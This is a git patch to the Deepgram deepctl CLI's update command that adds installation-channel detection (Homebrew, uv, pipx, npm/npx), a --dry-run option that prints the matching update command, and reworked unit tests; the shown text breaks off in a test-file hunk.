dg update --dry-run prints the detected method and the command that
updates it, without checking or installing.
---
 .../src/deepctl_cmd_update/channel.py         | 188 +++++++++++
 .../src/deepctl_cmd_update/command.py         |  41 +++
 .../src/deepctl_cmd_update/installation.py    |  91 +++---
 .../src/deepctl_cmd_update/startup_check.py   |  15 +-
 .../tests/unit/test_installation.py           | 307 +++++++++++-------
 .../tests/unit/test_startup_check.py          |  25 +-
 .../tests/unit/test_update_command.py         |  82 +++++
 src/deepctl/_manifest.d/update.json           |  23 +-
 8 files changed, 577 insertions(+), 195 deletions(-)
 create mode 100644 packages/deepctl-cmd-update/src/deepctl_cmd_update/channel.py

diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/channel.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/channel.py
new file mode 100644
index 00000000..3b21004f
--- /dev/null
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/channel.py
@@ -0,0 +1,188 @@
+"""Which tool installed this copy of deepctl, judged from its own layout.
+
+Stdlib only: the startup check uses these on every run.
+
+Each test looks at ``sys.prefix``, the environment deepctl runs in, not at
+the interpreter it links to. A pipx or ``uv tool`` environment built on
+Homebrew's Python resolves its interpreter into Homebrew's Cellar, so the
+interpreter can't tell those installs from Homebrew's own ``deepgram``
+formula.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import sys
+from itertools import pairwise
+from pathlib import Path
+
+LAUNCHER_ENV_VAR = "DEEPCTL_LAUNCHER"
+NPM_LAUNCHERS = ("npm", "npx")
+
+_UV_ARCHIVE = re.compile(r"archive-v\d+")
+
+
+def launcher() -> str | None:
+    """``npm`` or ``npx`` when the @deepgram/cli npm package started dg.
+
+    ``deepctl.main`` removes ``DEEPCTL_LAUNCHER`` from the environment at
+    startup and keeps its value; the environment is the fallback when dg
+    didn't start through ``deepctl.main``.
+    """
+    main = sys.modules.get("deepctl.main")
+    if main is not None and getattr(main, "LAUNCHER_CAPTURED", False):
+        value = getattr(main, "LAUNCHER", None)
+    else:
+        value = os.environ.get(LAUNCHER_ENV_VAR)
+    value = (value or "").strip().lower()
+    return value if value in NPM_LAUNCHERS else None
+
+
+def _home() -> Path | None:
+    try:
+        return Path.home()
+    except (KeyError, RuntimeError):
+        return None
+
+
+def _env_path(name: str) -> Path | None:
+    value = os.environ.get(name)
+    return Path(value) if value else None
+
+
+def _prefixes() -> list[Path]:
+    """``sys.prefix`` as given and with links resolved."""
+    prefix = Path(sys.prefix)
+    paths = [prefix]
+    try:
+        resolved = prefix.resolve()
+    except OSError:
+        return paths
+    if resolved != prefix:
+        paths.append(resolved)
+    return paths
+
+
+def _parts_below(base: Path) -> tuple[str, ...] | None:
+    """The parts of ``sys.prefix`` below ``base``, or ``None`` if it isn't
+    inside ``base`` (each compared as given and with links resolved)."""
+    bases = [base]
+    try:
+        resolved = base.resolve()
+    except OSError:
+        resolved = base
+    if resolved != base:
+        bases.append(resolved)
+    for prefix in _prefixes():
+        for candidate in bases:
+            try:
+                return prefix.relative_to(candidate).parts
+            except ValueError:
+                continue
+    return None
+
+
+def _first(paths: list[Path | None]) -> list[Path]:
+    """The given paths without ``None`` and duplicates, in order."""
+    seen: list[Path] = []
+    for path in paths:
+        if path is not None and path not in seen:
+            seen.append(path)
+    return seen
+
+
+def is_brew() -> bool:
+    """Homebrew's ``deepgram`` formula: ``sys.prefix`` under
+    ``Cellar/deepgram/``."""
+    for prefix in _prefixes():
+        parts = prefix.parts
+        if any(pair == ("Cellar", "deepgram") for pair in pairwise(parts)):
+            return True
+    return False
+
+
+def uv_cache_dirs() -> list[Path]:
+    """Where uv keeps its cache: ``UV_CACHE_DIR``, else its defaults."""
+    home = _home()
+    xdg = _env_path("XDG_CACHE_HOME")
+    local = _env_path("LOCALAPPDATA")
+    return _first(
+        [
+            _env_path("UV_CACHE_DIR"),
+            xdg / "uv" if xdg else None,
+            home / ".cache" / "uv" if home else None,
+            local / "uv" / "cache" if local and sys.platform == "win32" else None,
+        ]
+    )
+
+
+def is_uvx() -> bool:
+    """``uvx deepctl``: an environment in uv's cache (``archive-v*``)."""
+    for cache in uv_cache_dirs():
+        parts = _parts_below(cache)
+        if parts and _UV_ARCHIVE.fullmatch(parts[0]):
+            return True
+    return False
+
+
+def uv_tool_dirs() -> list[Path]:
+    """Where ``uv tool install`` puts tools: ``UV_TOOL_DIR``, else its
+    defaults."""
+    home = _home()
+    xdg = _env_path("XDG_DATA_HOME")
+    appdata = _env_path("APPDATA")
+    return _first(
+        [
+            _env_path("UV_TOOL_DIR"),
+            xdg / "uv" / "tools" if xdg else None,
+            home / ".local" / "share" / "uv" / "tools" if home else None,
+            appdata / "uv" / "data" / "tools"
+            if appdata and sys.platform == "win32"
+            else None,
+        ]
+    )
+
+
+def is_uv_tool() -> bool:
+    """``uv tool install deepctl``: ``sys.prefix`` is ``<tool dir>/<name>``."""
+    return any(len(_parts_below(d) or ()) == 1 for d in uv_tool_dirs())
+
+
+def pipx_homes() -> list[Path]:
+    """pipx's home: ``PIPX_HOME``, else the locations pipx versions use."""
+    home = _home()
+    xdg = _env_path("XDG_DATA_HOME")
+    return _first(
+        [
+            _env_path("PIPX_HOME"),
+            xdg / "pipx" if xdg else None,
+            home / ".local" / "share" / "pipx" if home else None,
+            home / ".local" / "pipx" if home else None,
+            home / "Library" / "Application Support" / "pipx" if home else None,
+            home / "pipx" if home else None,
+        ]
+    )
+
+
+def _in_pipx(area: str) -> bool:
+    return any(
+        len(parts) == 2 and parts[0] == area
+        for parts in (_parts_below(home) for home in pipx_homes())
+        if parts
+    )
+
+
+def is_pipx() -> bool:
+    """``pipx install deepctl``: ``sys.prefix`` is ``<pipx home>/venvs/<name>``."""
+    return _in_pipx("venvs")
+
+
+def is_pipx_run() -> bool:
+    """``pipx run deepctl``: ``sys.prefix`` is ``<pipx home>/.cache/<hash>``."""
+    return _in_pipx(".cache")
+
+
+def is_oneshot() -> bool:
+    """A run that fetches deepctl for one use: uvx, pipx run or npx."""
+    return is_uvx() or is_pipx_run() or launcher() == "npx"
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
index 675393ec..4ced9a69 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
@@ -14,6 +14,7 @@
     print_success,
     print_warning,
 )
+from rich.markup import escape
 from rich.panel import Panel
 from rich.prompt import Confirm
 
@@ -42,6 +43,7 @@ class UpdateCommand(BaseCommand):
     examples = [
         "dg update",
         "dg update --check-only",
+        "dg update --dry-run",
     ]
     agent_help = (
         "Check for and install updates to deepctl. Can check PyPI for newer "
@@ -58,6 +60,15 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "is_flag": True,
                 "is_option": True,
             },
+            {
+                "names": ["--dry-run"],
+                "help": (
+                    "Show how deepctl was installed and the command that "
+                    "updates it, without checking for or installing updates"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
             {
                 "names": ["--force"],
                 "help": "Force update even if already up to date",
@@ -94,6 +105,8 @@ def handle(
 
         # Extract arguments from kwargs
         check_only = kwargs.get("check_only", False)
+        if kwargs.get("dry_run", False):
+            return self._dry_run()
         force = kwargs.get("force", False)
         yes = kwargs.get("yes", False)
 
@@ -254,3 +267,31 @@ def handle(
                 update_available=version_info.update_available,
                 installation_method=install_info.method.value,
             )
+
+    def _dry_run(self) -> dict[str, Any]:
+        """Print the installation method and its update command; change
+        nothing and make no network request.
+
+        The lines print only in the default format: in the others, stdout
+        carries just the payload, whose ``message`` holds the same command.
+        """
+        from deepctl_core.output import get_output_format
+
+        detector = InstallationDetector()
+        install_info = detector.detect()
+        update_command = detector.get_update_command(install_info.method)
+        if update_command:
+            message = f"Run: {shlex.join(update_command)}"
+        else:
+            message = detector.get_update_instructions(install_info)
+        if get_output_format() == "default":
+            console = get_console()
+            method = install_info.method.value
+            console.print(f"Installation method: [cyan]{method}[/cyan]")
+            console.print(f"Installation path: [dim]{escape(install_info.path)}[/dim]")
+            console.print(message, markup=False, highlight=False)
+        return UpdateResult(
+            success=True,
+            message=message,
+            installation_method=install_info.method.value,
+        ).model_dump()
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/installation.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/installation.py
index 6fda2fe9..c11345d6 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/installation.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/installation.py
@@ -9,6 +9,10 @@
 
 from pydantic import BaseModel
 
+from . import channel
+
+NPM_UPDATE_COMMAND = "npm i -g @deepgram/cli@latest"
+
 
 class InstallMethod(str, Enum):
     """Supported installation methods."""
@@ -20,6 +24,7 @@ class InstallMethod(str, Enum):
     UV_TOOL = "uv_tool"
     UVX = "uvx"
     PIPX_RUN = "pipx_run"
+    NPM = "npm"
     SYSTEM = "system"
     DEVELOPMENT = "development"
     UNKNOWN = "unknown"
@@ -97,14 +102,16 @@ def get_update_command(self, method: InstallMethod) -> list[str] | None:
                 "deepctl",
             ],
             InstallMethod.HOMEBREW: ["brew", "upgrade", "deepgram"],
+            # `uv tool upgrade` leaves a pinned install where it is.
             InstallMethod.UV_TOOL: [
                 "uv",
                 "tool",
-                "upgrade",
-                "deepctl",
+                "install",
+                "deepctl@latest",
             ],
             InstallMethod.UVX: None,  # Ephemeral, no update needed
             InstallMethod.PIPX_RUN: None,  # Ephemeral, no update needed
+            InstallMethod.NPM: None,  # Printed, not run: npm owns the install
             InstallMethod.SYSTEM: None,  # Handled separately
             InstallMethod.DEVELOPMENT: None,  # Can't auto-update
             InstallMethod.UNKNOWN: None,
@@ -125,10 +132,22 @@ def get_update_instructions(self, info: InstallationInfo) -> str:
 
         if info.method == InstallMethod.UVX:
             return (
-                "You are running deepctl via uvx (one-shot execution). "
-                "The latest version will be used automatically on next run."
+                "uvx runs the latest deepctl each time, so there's nothing to "
+                "update. If you also installed deepctl with uv tool install, "
+                "uvx runs that copy instead; update it with: "
+                "uv tool install deepctl@latest. "
+                "To pin a version, run uvx deepctl@<version>."
             )
 
+        if info.method == InstallMethod.NPM:
+            if channel.launcher() == "npx":
+                return (
+                    "npx runs the latest @deepgram/cli each time, so there's "
+                    "nothing to update. To pin a version, run "
+                    "npx @deepgram/cli@<version>."
+                )
+            return f"Run: {NPM_UPDATE_COMMAND}"
+
         if info.method == InstallMethod.PIPX_RUN:
             return (
                 "You are running deepctl via pipx run (one-shot execution). "
@@ -263,8 +282,8 @@ def _detect_method(
     ) -> InstallMethod:
         """Detect the installation method.
 
-        Priority: development > oneshot > homebrew > uv_tool > pipx >
-                  uv > system > pip > unknown
+        Priority: development > npm > oneshot > homebrew > uv_tool >
+                  pipx > uv > system > pip > unknown
 
         Args:
             package_location: Path to package
@@ -278,6 +297,10 @@ def _detect_method(
         if is_editable:
             return InstallMethod.DEVELOPMENT
 
+        # Started by the @deepgram/cli npm package (npm or npx)
+        if channel.launcher() is not None:
+            return InstallMethod.NPM
+
         # One-shot execution (uvx / pipx run)
         oneshot = self._detect_oneshot_execution()
         if oneshot is not None:
@@ -313,24 +336,16 @@ def _detect_method(
         return InstallMethod.UNKNOWN
 
     def _is_homebrew_install(self) -> bool:
-        """Check if installed via Homebrew.
+        """Check if installed by Homebrew's ``deepgram`` formula.
 
-        Detects Apple Silicon (/opt/homebrew), Intel Mac
-        (/usr/local/Cellar), and Linux Homebrew paths.
+        Only ``sys.prefix`` under ``Cellar/deepgram/`` counts: a pipx or
+        uv tool environment on Homebrew's Python resolves its interpreter
+        into the Cellar too, and isn't a Homebrew install of deepctl.
 
         Returns:
             True if Homebrew installation
         """
-        exe_path = Path(sys.executable).resolve()
-        exe_str = str(exe_path)
-
-        homebrew_prefixes = [
-            "/opt/homebrew",  # Apple Silicon
-            "/usr/local/Cellar",  # Intel Mac
-            "/home/linuxbrew/.linuxbrew",  # Linux
-        ]
-
-        return any(exe_str.startswith(prefix) for prefix in homebrew_prefixes)
+        return channel.is_brew()
 
     def _is_uv_tool_install(self) -> bool:
         """Check if installed via ``uv tool install``.
@@ -338,24 +353,7 @@ def _is_uv_tool_install(self) -> bool:
         Returns:
             True if uv tool installation
         """
-        # Use sys.prefix (the venv root), not sys.executable — uv's Python
-        # interpreter is a symlink to a shared binary pool outside tools/,
-        # so resolve() on the executable breaks the path check.
-        prefix_str = str(Path(sys.prefix))
-        exe_str = str(Path(sys.executable))
-
-        # Check custom UV_TOOL_DIR env var first
-        uv_tool_dir = os.environ.get("UV_TOOL_DIR")
-        if uv_tool_dir and (
-            prefix_str.startswith(uv_tool_dir) or exe_str.startswith(uv_tool_dir)
-        ):
-            return True
-
-        # Default uv tool location
-        default_uv_tools = str(Path.home() / ".local" / "share" / "uv" / "tools")
-        return prefix_str.startswith(default_uv_tools) or exe_str.startswith(
-            default_uv_tools
-        )
+        return channel.is_uv_tool()
 
     def _detect_oneshot_execution(self) -> InstallMethod | None:
         """Detect ephemeral one-shot execution (uvx / pipx run).
@@ -363,17 +361,10 @@ def _detect_oneshot_execution(self) -> InstallMethod | None:
         Returns:
             UVX or PIPX_RUN if detected, None otherwise
         """
-        # uvx sets UV_INTERNAL__PARENT_INTERPRETER
-        if "UV_INTERNAL__PARENT_INTERPRETER" in os.environ:
+        if channel.is_uvx():
             return InstallMethod.UVX
-
-        # pipx run uses a cache directory
-        exe_path = str(Path(sys.executable).resolve())
-        pipx_home = os.environ.get("PIPX_HOME", str(Path.home() / ".local" / "pipx"))
-        pipx_cache = str(Path(pipx_home) / ".cache")
-        if exe_path.startswith(pipx_cache):
+        if channel.is_pipx_run():
             return InstallMethod.PIPX_RUN
-
         return None
 
     def _is_pipx_install(self) -> bool:
@@ -382,13 +373,7 @@ def _is_pipx_install(self) -> bool:
         Returns:
             True if pipx installation
         """
-        # Check for pipx environment variables
-        if "PIPX_HOME" in os.environ or "PIPX_BIN_DIR" in os.environ:
-            return True
-
-        # Check if executable is in a pipx-managed location
-        exe_path = Path(sys.executable)
-        return "pipx" in str(exe_path) or (exe_path.parent.parent / ".pipx").exists()
+        return channel.is_pipx()
 
     def _is_uv_install(self) -> bool:
         """Check if installed via uv.
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
index 9d6693db..fbd8d148 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
@@ -28,7 +28,7 @@
 import threading
 from typing import Any
 
-from . import check_cache
+from . import channel, check_cache
 
 PYPI_URL = "https://pypi.org/pypi/deepctl/json"
 NO_UPDATE_CHECK_ENV_VAR = "DEEPCTL_NO_UPDATE_CHECK"
@@ -54,17 +54,8 @@ def _is_ci() -> bool:
 
 
 def _is_oneshot() -> bool:
-    """Return True if running in an ephemeral one-shot environment."""
-    # uvx
-    if "UV_INTERNAL__PARENT_INTERPRETER" in os.environ:
-        return True
-    # pipx run
-    from pathlib import Path
-
-    exe_path = str(Path(sys.executable).resolve())
-    pipx_home = os.environ.get("PIPX_HOME", str(Path.home() / ".local" / "pipx"))
-    pipx_cache = str(Path(pipx_home) / ".cache")
-    return bool(exe_path.startswith(pipx_cache))
+    """Return True for a one-shot run (uvx, pipx run, npx): nothing to update."""
+    return channel.is_oneshot()
 
 
 def _opted_out() -> bool:
diff --git a/packages/deepctl-cmd-update/tests/unit/test_installation.py b/packages/deepctl-cmd-update/tests/unit/test_installation.py
index 22cd68ff..32141586 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_installation.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_installation.py
@@ -22,7 +22,7 @@ def test_all_methods_defined(self):
         """Verify all expected methods exist."""
         expected = {
             "pip", "pipx", "uv", "homebrew", "uv_tool",
-            "uvx", "pipx_run", "system", "development", "unknown",
+            "uvx", "pipx_run", "npm", "system", "development", "unknown",
         }
         actual = {m.value for m in InstallMethod}
         assert actual == expected
@@ -58,7 +58,7 @@ def test_returns_list_for_homebrew(self, detector):
     def test_returns_list_for_uv_tool(self, detector):
         cmd = detector.get_update_command(InstallMethod.UV_TOOL)
         assert isinstance(cmd, list)
-        assert cmd == ["uv", "tool", "upgrade", "deepctl"]
+        assert cmd == ["uv", "tool", "install", "deepctl@latest"]
 
     def test_returns_none_for_uvx(self, detector):
         cmd = detector.get_update_command(InstallMethod.UVX)
@@ -77,143 +77,208 @@ def test_returns_none_for_unknown(self, detector):
         assert cmd is None
 
 
-class TestHomebrewDetection:
-    """Test Homebrew installation detection."""
-
-    @pytest.fixture
-    def detector(self):
+@pytest.fixture
+def layout(tmp_path, monkeypatch):
+    """A home directory with no tool settings, and a way to set sys.prefix."""
+    home = tmp_path / "home"
+    home.mkdir()
+    monkeypatch.setenv("HOME", str(home))
+    for name in (
+        "UV_CACHE_DIR",
+        "UV_TOOL_DIR",
+        "XDG_CACHE_HOME",
+        "XDG_DATA_HOME",
+        "PIPX_HOME",
+        "PIPX_BIN_DIR",
+        "DEEPCTL_LAUNCHER",
+        "UV_INTERNAL__PARENT_INTERPRETER",
+        "UV_PROJECT",
+    ):
+        monkeypatch.delenv(name, raising=False)
+    main = sys.modules.get("deepctl.main")
+    if main is not None:
+        monkeypatch.setattr(main, "LAUNCHER_CAPTURED", False, raising=False)
+
+    def set_prefix(path):
+        monkeypatch.setattr(sys, "prefix", str(path))
         return InstallationDetector()
 
-    @unix_only
-    @patch("deepctl_cmd_update.installation.sys")
-    def test_apple_silicon_path(self, mock_sys):
-        """Detect Homebrew on Apple Silicon."""
-        mock_sys.executable = "/opt/homebrew/bin/python3"
-        detector = InstallationDetector()
-        # Patch resolve to return the same path
-        with patch.object(
-            Path, "resolve", return_value=Path("/opt/homebrew/bin/python3")
-        ):
-            assert detector._is_homebrew_install() is True
-
-    @unix_only
-    @patch("deepctl_cmd_update.installation.sys")
-    def test_intel_mac_path(self, mock_sys):
-        """Detect Homebrew on Intel Mac."""
-        mock_sys.executable = "/usr/local/Cellar/python@3.12/bin/python3"
-        detector = InstallationDetector()
-        with patch.object(
-            Path,
-            "resolve",
-            return_value=Path(
-                "/usr/local/Cellar/python@3.12/bin/python3"
-            ),
-        ):
-            assert detector._is_homebrew_install() is True
-
-    @unix_only
-    @patch("deepctl_cmd_update.installation.sys")
-    def test_linux_homebrew_path(self, mock_sys):
-        """Detect Homebrew on Linux."""
-        mock_sys.executable = (
-            "/home/linuxbrew/.linuxbrew/bin/python3"
+    set_prefix.home = home
+    return set_prefix
+
+
+@unix_only
+class TestHomebrewDetection:
+    """Homebrew means the deepgram formula's own Cellar prefix."""
+
+    @pytest.mark.parametrize(
+        "prefix",
+        [
+            "/opt/homebrew/Cellar/deepgram/0.5.0/libexec",
+            "/usr/local/Cellar/deepgram/0.5.0/libexec",
+            "/home/linuxbrew/.linuxbrew/Cellar/deepgram/0.5.0/libexec",
+        ],
+    )
+    def test_formula_prefix(self, layout, prefix):
+        assert layout(prefix)._is_homebrew_install() is True
+
+    @pytest.mark.parametrize(
+        "prefix",
+        [
+            "/opt/homebrew/Cellar/python@3.12/3.12.7/Frameworks/Python.framework",
+            "/home/linuxbrew/.linuxbrew/Cellar/python@3.12/3.12.7",
+            "/usr",
+        ],
+    )
+    def test_homebrew_python_alone_is_not_brew(self, layout, prefix):
+        assert layout(prefix)._is_homebrew_install() is False
+
+    def test_pipx_on_homebrew_python(self, layout, monkeypatch):
+        """A pipx venv whose interpreter resolves into the Cellar is pipx."""
+        prefix = layout.home / ".local" / "share" / "pipx" / "venvs" / "deepctl"
+        monkeypatch.setattr(
+            sys, "executable", "/home/linuxbrew/.linuxbrew/Cellar/python@3.12/bin/python3"
         )
-        detector = InstallationDetector()
-        with patch.object(
-            Path,
-            "resolve",
-            return_value=Path(
-                "/home/linuxbrew/.linuxbrew/bin/python3"
-            ),
-        ):
-            assert detector._is_homebrew_install() is True
+        detector = layout(prefix)
+        assert detector._is_homebrew_install() is False
+        assert detector._detect_method(prefix, True, False) == InstallMethod.PIPX
+
+    def test_uv_tool_on_homebrew_python(self, layout, monkeypatch):
+        prefix = layout.home / ".local" / "share" / "uv" / "tools" / "deepctl"
+        monkeypatch.setattr(
+            sys, "executable", "/home/linuxbrew/.linuxbrew/Cellar/python@3.12/bin/python3"
+        )
+        detector = layout(prefix)
+        assert detector._detect_method(prefix, True, False) == InstallMethod.UV_TOOL
 
-    @patch("deepctl_cmd_update.installation.sys")
-    def test_non_homebrew_path(self, mock_sys):
-        """Non-Homebrew path returns False."""
-        mock_sys.executable = "/usr/bin/python3"
-        detector = InstallationDetector()
-        with patch.object(
-            Path, "resolve", return_value=Path("/usr/bin/python3")
-        ):
-            assert detector._is_homebrew_install() is False
+    def test_formula_through_opt_link(self, layout, tmp_path):
+        cellar = tmp_path / "brew" / "Cellar" / "deepgram" / "0.5.0" / "libexec"
+        cellar.mkdir(parents=True)
+        opt = tmp_path / "brew" / "opt"
+        opt.mkdir()
+        (opt / "deepgram").symlink_to(cellar.parent)
+        detector = layout(opt / "deepgram" / "libexec")
+        assert detector._detect_method(None, True, False) == InstallMethod.HOMEBREW
 
 
+@unix_only
 class TestUvToolDetection:
     """Test uv tool installation detection."""
 
-    @pytest.fixture
-    def detector(self):
-        return InstallationDetector()
+    def test_custom_uv_tool_dir(self, layout, monkeypatch):
+        monkeypatch.setenv("UV_TOOL_DIR", "/custom/uv/tools")
+        assert layout("/custom/uv/tools/deepctl")._is_uv_tool_install() is True
 
-    @unix_only
-    @patch("deepctl_cmd_update.installation.sys")
-    @patch.dict(
-        "os.environ", {"UV_TOOL_DIR": "/custom/uv/tools"}, clear=False
+    def test_default_uv_tool_path(self, layout, monkeypatch):
+        """Detect uv tool at default location via sys.prefix (symlinked exe)."""
+        monkeypatch.setattr(
+            sys, "executable", "/x/.local/share/uv/python/cpython-3.11/bin/python3"
+        )
+        prefix = layout.home / ".local" / "share" / "uv" / "tools" / "deepctl"
+        assert layout(prefix)._is_uv_tool_install() is True
+
+    def test_xdg_data_home(self, layout, monkeypatch, tmp_path):
+        monkeypatch.setenv("XDG_DATA_HOME", str(tmp_path / "data"))
+        prefix = tmp_path / "data" / "uv" / "tools" / "deepctl"
+        assert layout(prefix)._is_uv_tool_install() is True
+
+    def test_tools_dir_itself_is_not_a_tool(self, layout):
+        prefix = layout.home / ".local" / "share" / "uv" / "tools"
+        assert layout(prefix)._is_uv_tool_install() is False
+
+
+@unix_only
+class TestPipxDetection:
+    def test_pipx_home_env(self, layout, monkeypatch, tmp_path):
+        monkeypatch.setenv("PIPX_HOME", str(tmp_path / "px"))
+        assert layout(tmp_path / "px" / "venvs" / "deepctl")._is_pipx_install()
+
+    @pytest.mark.parametrize(
+        "parts", [(".local", "pipx"), (".local", "share", "pipx")]
     )
-    def test_custom_uv_tool_dir(self, mock_sys):
-        """Detect uv tool with custom UV_TOOL_DIR via sys.prefix."""
-        mock_sys.executable = "/usr/local/share/uv/python/cpython-3.11/bin/python3"
-        mock_sys.prefix = "/custom/uv/tools/deepctl"
-        detector = InstallationDetector()
-        assert detector._is_uv_tool_install() is True
+    def test_default_homes(self, layout, parts):
+        prefix = layout.home.joinpath(*parts, "venvs", "deepctl")
+        assert layout(prefix)._is_pipx_install() is True
 
-    @patch("deepctl_cmd_update.installation.sys")
-    @patch.dict("os.environ", {}, clear=False)
-    def test_default_uv_tool_path(self, mock_sys):
-        """Detect uv tool at default location via sys.prefix (symlinked exe)."""
-        home = str(Path.home())
-        # Simulate the real scenario: exe resolves to the shared Python pool
-        # (outside tools/), but prefix correctly points into tools/
-        mock_sys.executable = f"{home}/.local/share/uv/python/cpython-3.11/bin/python3"
-        mock_sys.prefix = f"{home}/.local/share/uv/tools/deepctl"
-        detector = InstallationDetector()
-        assert detector._is_uv_tool_install() is True
+    def test_pipx_home_set_for_another_install(self, layout, monkeypatch, tmp_path):
+        """PIPX_HOME in the environment doesn't make a venv a pipx install."""
+        monkeypatch.setenv("PIPX_HOME", str(tmp_path / "px"))
+        monkeypatch.setenv("PIPX_BIN_DIR", str(tmp_path / "bin"))
+        detector = layout(tmp_path / "project" / ".venv")
+        assert detector._is_pipx_install() is False
 
 
+@unix_only
 class TestOneshotDetection:
     """Test one-shot execution detection (uvx / pipx run)."""
 
-    @pytest.fixture
-    def detector(self):
-        return InstallationDetector()
+    def test_uvx_default_cache(self, layout):
+        prefix = layout.home / ".cache" / "uv" / "archive-v0" / "AbC123"
+        assert layout(prefix)._detect_oneshot_execution() == InstallMethod.UVX
 
-    @patch.dict(
-        "os.environ",
-        {"UV_INTERNAL__PARENT_INTERPRETER": "/usr/bin/python3"},
-        clear=False,
-    )
-    def test_uvx_detected(self, detector):
-        """uvx is detected via environment variable."""
-        result = detector._detect_oneshot_execution()
-        assert result == InstallMethod.UVX
+    def test_uvx_with_uv_cache_dir(self, layout, monkeypatch, tmp_path):
+        monkeypatch.setenv("UV_CACHE_DIR", str(tmp_path / "uvc"))
+        prefix = tmp_path / "uvc" / "archive-v0" / "AbC123"
+        assert layout(prefix)._detect_oneshot_execution() == InstallMethod.UVX
+
+    def test_uv_cache_outside_archive_is_not_uvx(self, layout):
+        prefix = layout.home / ".cache" / "uv" / "builds-v0" / "x"
+        assert layout(prefix)._detect_oneshot_execution() is None
+
+    def test_parent_interpreter_env_alone_is_not_uvx(self, layout, monkeypatch, tmp_path):
+        """uv run sets this too, for an ordinary project venv."""
+        monkeypatch.setenv("UV_INTERNAL__PARENT_INTERPRETER", "/usr/bin/python3")
+        assert layout(tmp_path / "project" / ".venv")._detect_oneshot_execution() is None
+
+    def test_pipx_run_detected(self, layout, monkeypatch, tmp_path):
+        monkeypatch.setenv("PIPX_HOME", str(tmp_path / "px"))
+        prefix = tmp_path / "px" / ".cache" / "0123abcd"
+        assert layout(prefix)._detect_oneshot_execution() == InstallMethod.PIPX_RUN
+
+    def test_no_oneshot(self, layout, tmp_path):
+        assert layout(tmp_path / "venv")._detect_oneshot_execution() is None
 
-    @unix_only
-    @patch("deepctl_cmd_update.installation.sys")
-    @patch.dict("os.environ", {}, clear=False)
-    def test_pipx_run_detected(self, mock_sys, tmp_path):
-        """pipx run is detected via cache path."""
-        # Create a real file so Path.resolve() works
-        fake_exe = tmp_path / ".local" / "pipx" / ".cache" / "some" / "bin" / "python3"
-        fake_exe.parent.mkdir(parents=True)
-        fake_exe.touch()
-        mock_sys.executable = str(fake_exe)
-        with patch.dict(
-            "os.environ", {"PIPX_HOME": str(tmp_path / ".local" / "pipx")},
-            clear=False,
-        ):
-            detector = InstallationDetector()
-            result = detector._detect_oneshot_execution()
-            assert result == InstallMethod.PIPX_RUN
-
-    @patch.dict("os.environ", {}, clear=False)
-    def test_no_oneshot(self, detector):
-        """Regular execution returns None."""
-        # Make sure UV_INTERNAL__PARENT_INTERPRETER is not set
-        import os
-        os.environ.pop("UV_INTERNAL__PARENT_INTERPRETER", None)
-        result = detector._detect_oneshot_execution()
-        assert result is None
+
+@unix_only
+class TestNpmLauncher:
+    @pytest.mark.parametrize("value", ["npm", "npx"])
+    def test_env(self, layout, monkeypatch, tmp_path, value):
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", value)
+        detector = layout(tmp_path / "cache" / "venv")
+        assert detector._detect_method(None, True, False) == InstallMethod.NPM
+
+    def test_captured_by_main(self, layout, monkeypatch, tmp_path):
+        """deepctl.main removes the variable at startup and keeps its value."""
+        import deepctl.main as main
+
+        monkeypatch.setattr(main, "LAUNCHER_CAPTURED", True)
+        monkeypatch.setattr(main, "LAUNCHER", "npm")
+        detector = layout(tmp_path / "cache" / "venv")
+        assert detector._detect_method(None, True, False) == InstallMethod.NPM
+
+    def test_unknown_value_ignored(self, layout, monkeypatch, tmp_path):
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "/usr/local/bin/dg")
+        detector = layout(tmp_path / "venv")
+        assert detector._detect_method(None, True, False) != InstallMethod.NPM
+
+    def test_npm_prints_the_command(self, layout, monkeypatch, tmp_path):
+        from deepctl_cmd_update.installation import InstallationInfo
+
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "npm")
+        detector = layout(tmp_path / "venv")
+        assert detector.get_update_command(InstallMethod.NPM) is None
+        info = InstallationInfo(
+            method=InstallMethod.NPM,
+            path="/x",
+            virtual_env=True,
+            editable=False,
+            python_executable="/x/bin/python3",
+        )
+        assert detector.get_update_instructions(info) == (
+            "Run: npm i -g @deepgram/cli@latest"
+        )
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "npx")
+        assert "npx" in detector.get_update_instructions(info)
 
 
 class TestGetUpdateInstructions:
@@ -268,7 +333,7 @@ def test_uvx_instructions(self, detector):
         )
         instructions = detector.get_update_instructions(info)
         assert "uvx" in instructions
-        assert "automatically" in instructions
+        assert "uv tool install deepctl@latest" in instructions
 
     def test_pipx_run_instructions(self, detector):
         from deepctl_cmd_update.installation import InstallationInfo
diff --git a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
index 531e6ffa..4d7b2684 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
@@ -99,16 +99,25 @@ def test_travis(self):
 class TestOneshotDetection:
     """Test one-shot execution detection."""
 
-    def test_not_oneshot(self, monkeypatch):
-        monkeypatch.delenv("UV_INTERNAL__PARENT_INTERPRETER", raising=False)
+    def test_not_oneshot(self, monkeypatch, tmp_path):
+        monkeypatch.setenv("HOME", str(tmp_path))
+        monkeypatch.delenv("UV_CACHE_DIR", raising=False)
